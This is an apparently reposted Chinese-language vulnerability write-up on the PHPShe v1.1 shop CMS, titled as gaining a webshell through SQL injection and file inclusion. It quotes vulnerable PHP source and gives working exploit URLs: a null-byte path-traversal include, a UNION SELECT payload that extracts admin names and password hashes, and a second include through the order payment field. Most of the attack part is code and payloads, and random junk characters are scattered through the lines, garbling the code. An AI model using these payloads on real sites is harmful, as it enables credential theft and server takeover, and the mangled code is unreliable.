phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
( N# G, Z  D" Y2 M: j4 e4 M. P7 e/* Phpshe v1.1 Vulnerability
1 b9 q; _6 h" z' l  f3 A/* ========================
2 i/ k* n. G: q: l* x6 g8 T/* By: : Kn1f3
" R: n4 d% X' P7 w; G% B* R) R/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输



, V' A0 R8 R7 \7 `- A7 _//common.php
. e) l4 ~1 W4 Q2 [5 a8 _if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
- e8 `, e& T" D1 y3 N, Y!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
/ O' F* [4 N) S4 L

$ o0 E& o) G; y# Q//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
3 k8 ~2 K; q1 ?pe_result();
?>
//common 文件 第15行开始
; g; F) `& d' z4 C, @7 Gurl路由配置
$module = $mod = $act = 'index';
9 K; Q! Q( B; o1 s$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
0 F# Q- r0 A# R* y4 F5 n$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
& h& K- Z; Y1 r+ O) O1 O//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
! q9 Q3 Q4 l7 g

: L( b) x5 I  V% [ 0×02 搜索注入

<code id="code2">

//product.php文件
+ W0 K0 a& V+ q+ o& M! d9 rcase 'list':
7 Q% w% |( O- Z9 t$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
/ ~7 }$ D' Q" c) S5 c7 p4 u}
) g7 ~& s# B# i0 F+ O% H" h5 v" t$ j$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
0 Q4 D; z5 m! N6 U: bif ($_g_orderby) {
7 O1 b& A- m5 J7 ^7 V3 Z$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
( f- R8 Z  r3 V! w" Z6 j& f. E6 \}
& O. J- }8 l5 P  pelse {
$sqlwhere .= " order by `product_id` desc";
3 E' e' s% w( z# G: Z}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
1 c6 ]: X4 E; Q//当前路径
) ~) s4 B6 U0 u, Y( i$nowpath = category_path($category_id);
% @+ m7 J3 _2 M' u" v. u$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
' Z0 a% b8 G; S" ~//处理条件语句
$sqlwhere = $this->_dowhere($where);
. P: g# M) l* J+ m' I$ }return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
5 b; A6 r6 P5 d( n4 j) k; d+ I( R}
7 D2 l' O& X2 ]$ h9 K+ u+ \/ h- K//exp
9 j+ D: @  M! z, I' Sproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
4 U7 X0 t8 {6 W- H. @+ Z

</code>
4 u: D  I8 ~, ^2 G9 a& H$ Z
( ~6 u9 o" w4 e7 n: u0 U  ^0×03 包含漏洞2
' t9 A, K1 N! d6 i# A- T& Q/ \; P
3 O/ A* P; M( c8 _  v<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

0 F" V. p; v; k# f+ Z$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

: J, Y+ y0 \! v  N8 Y1 ]if ($k == 'bank') {

& m9 F% G) r, Z4 t$ w. a$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

/ S5 s! F. `& V9 a8 m}

}

* X! s5 D. R3 H3 X' s$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

6 ~( O& e# L+ K0 Zif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

3 h: r% E3 x, j7 i- h& jforeach ($info_list as $v) {

* n; P# }. e* B+ ~+ }" E. W  q$order['order_name'] .= "{$v['product_name']};";
0 k) \' U* |/ D" j* [

) ^& O# E* K+ G3 K7 D}

0 A$ r* q5 M1 P6 ?" K; aecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

- _$ Z4 Q& [9 E* U, z2 V6 G( |4 F9 vpe_error('支付错误...');

}

0 d$ ]8 N6 F, y% D3 B- C0 o$ F6 z}

$ W$ m! k3 G; H$seo = pe_seo('选择支付方式');

" [% g5 Z& _0 j6 u% yinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>